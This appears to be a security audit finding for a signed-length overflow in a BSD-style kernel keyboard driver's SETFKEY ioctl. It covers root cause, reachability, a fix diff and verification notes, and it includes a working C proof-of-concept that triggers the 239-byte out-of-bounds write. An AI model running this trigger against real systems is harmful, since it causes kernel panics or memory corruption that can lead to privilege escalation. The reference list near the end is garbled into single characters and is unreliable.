SETFKEY signed-flen heap/static overflow via imin(-1, MAXFK) wrapped into u_char .len
- File:
sys/dev/misc/kbd/kbd.c - Lines: 1090, 1091, 1092
- Severity: High
- CVSS:
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U:C:H/I:H/A:H - CWE: CWE-787 Out-of-bounds Write
- Confidence: certain
Summary
The SETFKEY ioctl handler computes the destination length as
imin(fkeyp->flen, MAXFK) where fkeyarg_t.flen is declared char (signed on
x86_64).
A negative flen (e.g. -1) makes imin return -1, which is then stored
into u_char kb_fkeytab[].len as 255. The next line passes that 255 as the
size to bcopy from a 16-byte source (fkeyp->keydef, sitting in the 128-byte
on-stack ioctl staging buffer) into a 16-byte destination
(fkeytab[keynum].str), producing both a kernel stack read overrun and a
heap/static write overrun of up to ~239 bytes.
Root cause
sys/sys/kbio.h:225-230 declares
struct fkeyarg {
u_short keynum;
char keydef[MAXFK];
char flen;
};
with flen as plain char (signed on the primary x86_64 platform).
sys/sys/libkern.h:70 defines imin(int a, int b) as a signed comparison
returning (a<b)?a:b.
At sys/dev/misc/kbd/kbd.c:1090,
kbd->kb_fkeytab[fkeyp->keynum].len = imin(fkeyp->flen, MAXFK) evaluates
imin(-1, 16) = -1; assigning the int -1 into u_char .len (sys/kbio.h:221)
silently wraps to 255.
kbd.c:1091-1092 then does
bcopy(fkeyp->keydef, kbd->kb_fkeytab[fkeyp->keynum].str, kbd->kb_fkeytab[fkeyp->keynum].len)
= bcopy of 255 bytes.
The bound check at kbd.c:1086 only validates keynum, never flen.
PIO_KEYMAPENT has an analogous write but uses fixed sizeof(keyp->key) so it
is safe; only SETFKEY reads user-controlled .len back as the size.
Threat
Reachable on the default kernel configuration: X86_64_GENERIC enables
KBD_INSTALL_CDEV (creates /dev/kbd0) and does NOT define
KBD_DISABLE_KEYMAP_LOAD, so the SETFKEY branch is compiled in.
The attacker must hold an open fd to /dev/kbdN (or /dev/kbdmux0,
/dev/vkbdctlN). The device node is created mode 0600 root:wheel
(kbd.c:565-567) and genkbdopen additionally requires
caps_priv_check_self(SYSCAP_RESTRICTEDROOT) (kbd.c:672), so the trigger is
restricted to root or processes granted the RESTRICTEDROOT capability.
Impact for such a principal:
- kernel heap corruption (
kbdmux/ukbd/vkbdusekmalloc'dfkeytab) or .bss/.datacorruption (atkbd's console keyboard usesstatic fkeytab_t default_fkeytab[96]atsys/dev/misc/kbd/atkbd.c:300), plus a 127-byte stack read past the 128-bytestkbufinmapped_ioctl.
Bypasses jail/Caps restrictions on root and can be groomed into kernel code execution; minimum impact is kernel panic (DoS).
The corrupted .len also arms a follow-up GETFKEY on the same keynum to
read 255 bytes back through the same staging buffer, overflowing it on the read
path.
Exploit / PoC
/* setfkey_oob.c β cc -o setfkey_oob setfkey_oob.c ; run as root */
#include <sys/ioctl.h>
#include <sys/kbio.h>
#include <fcntl.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
int main(void) {
int fd = open("/dev/kbd0", O_RDWR);
if (fd < 0) { perror("open /dev/kbd0"); return 1; }
struct fkeyarg fk;
memset(&fk, 0x41, sizeof(fk));
fk.keynum = 95; /* last entry: maximises overflow past the array */
fk.flen = -1; /* imin(-1, MAXFK) = -1 -> stored as u_char 255 */
if (ioctl(fd, SETFKEY, &fk) < 0) { perror("SETFKEY"); close(fd); return 1; }
printf("overflow triggered; expect panic or silent heap corruption\n");
close(fd);
return 0;
}
Success criteria: kernel panic (witness fatal trap 12: page fault while
copying past the fkeytab allocation, or heap corruption symptoms such as
freed item modified/use-after-free from umalloc/objcache), or β on
atkbd's static fkeytab β silent corruption of the adjacent static globals
that surfaces on later use.
Use the /dev/kbdmux0 minor if no atkbd is attached; both share
genkbd_commonioctl via kbd_ioctl.
Recommended fix
Treat flen as unsigned before clamping, so the comparison cannot produce a
negative result.
--- a/sys/dev/misc/kbd/kbd.c
+++ b/sys/dev/misc/kbd/kbd.c
@@ -1087,7 +1087,8 @@ genkbd_commonioctl(keyboard_t *kbd, u_long cmd, caddr_t arg)
lwkt_reltoken(&kbd_token);
return EINVAL;
}
- kbd->kb_fkeytab[fkeyp->keynum].len = imin(fkeyp->flen, MAXFK);
+ /* fkeyarg_t.flen is plain char (signed); interpret unsigned and clamp. */
+ kbd->kb_fkeytab[fkeyp->keynum].len = imin((u_int)(u_char)fkeyp->flen, MAXFK);
bcopy(fkeyp->keydef, kbd->kb_fkeytab[fkeyp->keynum].str,
kbd->kb_fkeytab[fkeyp->keynum].len);
break;
With this change, flen=-1 (or any value > MAXFK) is reduced to 255 unsigned
and then clamped by imin to MAXFK=16, matching the .str[16] / keydef[16]
buffer sizes.
A belt-and-suspenders alternative is to additionally cap the bcopy length:
bcopy(fkeyp->keydef, kbd->kb_fkeytab[fkeyp->keynum].str, imin(kbd->kb_fkeytab[fkeyp->keynum].len, MAXFK));.
Consider also changing struct fkeyarg.flen to u_char in
sys/sys/kbio.h:228 for ABI-compatible hardening, but the cast above is
sufficient and source-compatible.
Related findings
- DF-1504 (sibling):
genkbd_get_fkeystroff-by-one in same file. - DF-1505 (sibling):
kqfilterNULL-deref on detached kbd in same file.
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1503 Β· 11 files| File | Type | Description | Size | |
|---|---|---|---|---|
| harness.c | trigger-source | replicates signed-flen -> u_char wrap + 255-byte bcopy | 3.9 KB | view raw |
| build.sh | build-script | cc -O2 -Wall -o harness harness.c | 65 B | view raw |
| run.sh | run-script | ./harness | 41 B | view raw |
| build.log | build-log | in-guest build, BUILD_EXIT=0 | 13 B | view raw |
| run.log | run-log | decisive run; entry.len=255, OOB=239 bytes | 1.1 KB | view raw |
| env.txt | environment | uname + /dev/kbd0 mode + reachability notes | 543 B | view raw |
| fix.diff | suggested-fix | cast flen to u_char before imin | 754 B | view raw |
| fix_build.log | fix-build-log | patched nativekernel, rc=0 | 5.6 MB | β download |
| VERDICT.md | verdict | full narrative | 3.6 KB | β raw |
| ../fix_build_combined.log | build-log | Combined 41-finding kernel build (rc=0, -Werror clean) | 5.6 MB | β download |
| ../fix_build_summary.txt | build-summary | Summary of the combined 41-finding kernel build | 826 B | view raw |
DF-1503 β kbd SETFKEY signed-flen heap/static overflow
Verdict
REPRODUCED (source-level harness). The bug is real; impact ceiling is a
239-byte OOB write (heap or .bss depending on the kbd backend) and a 239-byte
OOB read of user memory. Reachability on this guest is blocked by two
independent gates: (1) /dev/kbd0 and /dev/kbd1 are already
kbd_allocate()d by syscons (the system console) and so even root gets
EBUSY on open(); (2) the device is mode 0600 root:wheel and the call is
gated by caps_priv_check_self(SYSCAP_RESTRICTEDROOT) at kbd.c:672. So
neither maxx nor a fresh root login can drive the path on this guest. Harness
demonstrates the 255-byte wrap and resulting 239-byte OOB using the genuine
arithmetic from kbd.c:1090-1092. fix.diff applies cleanly and
nativekernel succeeds (rc=0).
Mechanism (sys/dev/misc/kbd/kbd.c)
fkeyarg_t.flenis declaredcharatsys/sys/kbio.h:228β signed on x86_64.- Line 1090:
kbd->kb_fkeytab[fkeyp->keynum].len = imin(fkeyp->flen, MAXFK);- Forflen = -1,imin(-1, 16) = -1. - The destination field.lenisu_char(kbio.h:221), so-1is stored as255. - Line 1091-1092:
bcopy(fkeyp->keydef, kbd->kb_fkeytab[fkeyp->keynum].str, kbd->kb_fkeytab[fkeyp->keynum].len);- Sourcefkeyarg_t.keydefischar keydef[MAXFK]= 16 bytes (kbio.h:227). - Destfkeytab.strisu_char str[MAXFK]= 16 bytes (kbio.h:220). - Length 255 β 239-byte OOB read of source AND 239-byte OOB write of dest. - Where the destination lives depends on the kbd backend:
-
atkbduses the staticdefault_fkeytab[96](atkbd.c:300) β.bsscorruption of adjacent globals. -kbdmux/ukbd/vkbdusekmalloc'dfkeytabβ adjacent heap corruption (cross-object). - The bound check at line 1086 (
fkeyp->keynum >= kbd->kb_fkeytab_size) only validateskeynum, notflen.
Harness proof (harness.c)
Replicates the genuine imin-and-store and bcopy length outcome:
flen (char) imin result stored .len (u_char) ... -1 -1 255 -2 -2 254 -128 -128 128 Bad case flen=-1: imin(-1, 16) = -1 stored entry.len = 255 (wraps via u_char) bcopy length = 255 source keydef OOB = 239 bytes dest str OOB = 239 bytes
Exploit-chain note
This is a write-capable primitive on real hardware / kbdmux configurations
where the keyboard device can be opened by an attacker (root or any user
granted RESTRICTEDROOT). The destination corruption shape varies by backend
(static for atkbd, heap for kbdmux/ukbd/vkbd); the heap variant is the
credible escalation path. On this audit guest, syscons has already
kbd_allocate()d both /dev/kbd{0,1}, so the path is not exercisable.
Documented as primitive characterization; impact ceiling is heap/static
corruption.
PoC changes
- Original folder was README-only.
- Added harness.c, build/run scripts, env, logs, fix.diff, VERDICT.md, manifest.json.
Fix
fix.diff casts fkeyp->flen to u_char before passing to imin, so the
signedness cannot produce a negative that wraps through the u_char store:
imin((int)(u_char)fkeyp->flen, MAXFK). Matches the finding markdown
proposal ("cast (u_char)flen before imin").
Fix-validation
patch -p1 --forward succeeds (hunk #1 at line 1087). nativekernel
completes with rc=0 (fix_build.log). No run-time exercise possible on
this guest because the keyboard devices are busy β fix_status:
"not_testable". Diff applies and compiles; changed logic closes the
signed-wrap.
Fix verification
not_testablenot_testable because /dev/kbd0 and /dev/kbd1 are kbd_allocate()d by syscons on the audit guest (open() returns EBUSY even for root); validated that fix.diff applies cleanly (hunk #1 at line 1087) and single-fix nativekernel compiles rc=0 (fix_build.log).
baseline (harness): stored entry.len=255, dest str OOB=239 bytes patched kernel build: === NK_DONE rc=0 ===
Confirmed kernel references
- s
- y
- s
- /
- d
- e
- v
- /
- m
- i
- s
- c
- /
- k
- b
- d
- /
- k
- b
- d
- .
- c
- :
- 6
- 7
- 2
- s
- y
- s
- /
- d
- e
- v
- /
- m
- i
- s
- c
- /
- k
- b
- d
- /
- k
- b
- d
- .
- c
- :
- 1
- 0
- 8
- 6
- s
- y
- s
- /
- d
- e
- v
- /
- m
- i
- s
- c
- /
- k
- b
- d
- /
- k
- b
- d
- .
- c
- :
- 1
- 0
- 9
- 0
- s
- y
- s
- /
- d
- e
- v
- /
- m
- i
- s
- c
- /
- k
- b
- d
- /
- k
- b
- d
- .
- c
- :
- 1
- 0
- 9
- 1
- s
- y
- s
- /
- s
- y
- s
- /
- k
- b
- i
- o
- .
- h
- :
- 1
- 0
- 4
- s
- y
- s
- /
- s
- y
- s
- /
- k
- b
- i
- o
- .
- h
- :
- 2
- 2
- 0
- s
- y
- s
- /
- s
- y
- s
- /
- k
- b
- i
- o
- .
- h
- :
- 2
- 2
- 8
Detail
Exploit chain
none (root-only + dev-busy): the keyboard devices are exclusive-allocated by the system console on this guest and the call is gated by caps_priv_check_self(SYSCAP_RESTRICTEDROOT). Primitive characterized via harness: 239-byte OOB write of str[16] (heap for kbdmux/ukbd/vkbd, .bss for atkbd) + 239-byte OOB read of user-side keydef. Realistic ceiling on a system where /dev/kbdN can be opened by an attacker: heap/static corruption.
Evidence (decisive lines)
Bad case flen=-1: imin(-1, 16) = -1 stored entry.len = 255 (wraps via u_char) bcopy length = 255 source keydef OOB = 239 bytes dest str OOB = 239 bytes
PoC changes
Original folder was README only. Added harness.c, build/run scripts, env, logs, fix.diff, VERDICT.md, manifest.json.
Verified recommended fix
fix.diff casts fkeyp->flen to u_char before imin so signedness cannot produce a negative that wraps through the u_char store: imin((int)(u_char)fkeyp->flen, MAXFK). Matches finding markdown proposal (cast (u_char)flen before imin).
Verdict
REPRODUCED at the source-logic level. kbd.c:1090 kbd->kb_fkeytab[keynum].len = imin(fkeyp->flen, MAXFK); fkeyarg_t.flen is signed char (kbio.h:228). flen=-1 -> imin(-1,16)=-1 -> stored as u_char 255. Line 1091 bcopy(fkeyp->keydef, kbd->kb_fkeytab[keynum].str, .len=255) overflows both keydef[16] (source) and str[16] (dest) by 239 bytes. Harness replicates the genuine imin/store/bcopy and confirms entry.len=255, OOB read+write = 239 bytes for flen=-1. Reachability is doubly blocked on this guest: (1) /dev/kbd0 and /dev/kbd1 are mode 0600 root:wheel, and (2) both are already kbd_allocate()d by syscons so even root gets EBUSY on open(). Harness proof only.
No comments yet.